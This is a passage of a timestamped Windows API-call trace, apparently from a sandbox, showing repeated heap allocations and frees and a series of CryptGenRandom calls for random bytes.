hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.589] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.589] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.590] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.590] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.590] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.590] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.590] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.590] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.590] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.590] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.590] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.590] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.590] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.590] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.590] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.590] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.590] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.590] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.590] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.590] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.590] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.590] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.590] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.590] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.590] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.590] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.590] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.590] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.590] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.590] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.590] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.590] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.590] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.590] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.590] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.590] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.590] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.590] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.590] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.590] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.590] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.590] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.590] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.590] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.590] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.590] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.591] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.591] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.591] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.591] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.591] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.591] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.591] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.591] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.591] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.591] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.591] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.591] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.591] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.591] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.591] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511898 | out: hHeap=0x4f0000) returned 1 [0030.591] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511550 | out: hHeap=0x4f0000) returned 1 [0030.591] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5111f0 | out: hHeap=0x4f0000) returned 1 [0030.591] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511780 | out: hHeap=0x4f0000) returned 1 [0030.591] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4ff028 | out: hHeap=0x4f0000) returned 1 [0030.591] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514488 [0030.591] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5143f8 [0030.591] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514368 [0030.591] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5142d8 [0030.591] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514248 [0030.591] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5141b8 [0030.591] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514128 [0030.591] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514098 [0030.591] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514008 [0030.591] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513f78 [0030.591] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513ee8 [0030.591] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513e58 [0030.591] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513dc8 [0030.591] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513d38 [0030.591] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513ca8 [0030.591] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513c18 [0030.591] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513b88 [0030.591] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514638 [0030.591] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5146c8 [0030.591] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514758 [0030.592] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5147e8 [0030.592] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514878 [0030.592] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514908 [0030.592] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514998 [0030.592] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514a28 [0030.592] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514ab8 [0030.592] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514b48 [0030.592] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514bd8 [0030.592] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514c68 [0030.592] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514cf8 [0030.592] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514d88 [0030.592] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514e18 [0030.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514488 | out: hHeap=0x4f0000) returned 1 [0030.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5143f8 | out: hHeap=0x4f0000) returned 1 [0030.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514368 | out: hHeap=0x4f0000) returned 1 [0030.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5142d8 | out: hHeap=0x4f0000) returned 1 [0030.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514248 | out: hHeap=0x4f0000) returned 1 [0030.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5141b8 | out: hHeap=0x4f0000) returned 1 [0030.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514128 | out: hHeap=0x4f0000) returned 1 [0030.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514098 | out: hHeap=0x4f0000) returned 1 [0030.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514008 | out: hHeap=0x4f0000) returned 1 [0030.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513f78 | out: hHeap=0x4f0000) returned 1 [0030.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513ee8 | out: hHeap=0x4f0000) returned 1 [0030.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513e58 | out: hHeap=0x4f0000) returned 1 [0030.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513dc8 | out: hHeap=0x4f0000) returned 1 [0030.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513d38 | out: hHeap=0x4f0000) returned 1 [0030.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513ca8 | out: hHeap=0x4f0000) returned 1 [0030.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513c18 | out: hHeap=0x4f0000) returned 1 [0030.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513b88 | out: hHeap=0x4f0000) returned 1 [0030.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514638 | out: hHeap=0x4f0000) returned 1 [0030.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5146c8 | out: hHeap=0x4f0000) returned 1 [0030.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514758 | out: hHeap=0x4f0000) returned 1 [0030.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5147e8 | out: hHeap=0x4f0000) returned 1 [0030.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514878 | out: hHeap=0x4f0000) returned 1 [0030.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514908 | out: hHeap=0x4f0000) returned 1 [0030.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514998 | out: hHeap=0x4f0000) returned 1 [0030.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514a28 | out: hHeap=0x4f0000) returned 1 [0030.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514ab8 | out: hHeap=0x4f0000) returned 1 [0030.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514b48 | out: hHeap=0x4f0000) returned 1 [0030.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514bd8 | out: hHeap=0x4f0000) returned 1 [0030.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514c68 | out: hHeap=0x4f0000) returned 1 [0030.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514cf8 | out: hHeap=0x4f0000) returned 1 [0030.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514d88 | out: hHeap=0x4f0000) returned 1 [0030.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514e18 | out: hHeap=0x4f0000) returned 1 [0030.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514518 | out: hHeap=0x4f0000) returned 1 [0030.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0030.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511058 | out: hHeap=0x4f0000) returned 1 [0030.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5110e0 | out: hHeap=0x4f0000) returned 1 [0030.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5145a8 | out: hHeap=0x4f0000) returned 1 [0030.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0030.644] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.645] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.645] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.645] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.646] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.646] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.646] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.647] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.647] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.647] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.647] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.647] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.647] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.648] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.648] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.648] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.649] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.649] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.649] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.649] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.650] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.650] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.650] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.650] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.650] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.651] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.651] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.651] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.652] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.652] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.701] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.701] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.701] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.701] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.702] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.702] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.702] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.703] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.703] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.703] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.704] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.704] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.704] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.705] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.705] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.705] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.705] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.705] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.706] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.706] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.706] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.706] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.707] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.707] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.707] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x511058 [0030.707] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5110e0 [0030.707] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x511168 [0030.707] CryptAcquireContextW (in: phProv=0x44d70c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d70c*=0x5111f0) returned 1 [0030.708] CryptGenRandom (in: hProv=0x5111f0, dwLen=0x80, pbBuffer=0x44d720 | out: pbBuffer=0x44d720) returned 1 [0030.708] CryptReleaseContext (hProv=0x5111f0, dwFlags=0x0) returned 1 [0030.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5145a8 [0030.708] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511168 | out: hHeap=0x4f0000) returned 1 [0030.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514518 [0030.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x108) returned 0x511668 [0030.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x4) returned 0x510380 [0030.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0030.708] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511780 [0030.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x511168 [0030.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x10c) returned 0x5111f0 [0030.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x4ff028 [0030.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514e18 [0030.708] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511168 | out: hHeap=0x4f0000) returned 1 [0030.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511550 [0030.708] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514e18 | out: hHeap=0x4f0000) returned 1 [0030.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510218 [0030.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x4ff040 [0030.708] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.708] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510218 | out: hHeap=0x4f0000) returned 1 [0030.709] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x88) returned 0x514e18 [0030.709] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4ff040 | out: hHeap=0x4f0000) returned 1 [0030.709] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511898 [0030.709] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514e18 | out: hHeap=0x4f0000) returned 1 [0030.709] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.709] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.709] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.709] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.709] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.709] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.709] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.709] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.709] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.709] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.709] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.709] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.709] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.709] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.709] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.709] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.709] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.709] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.709] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 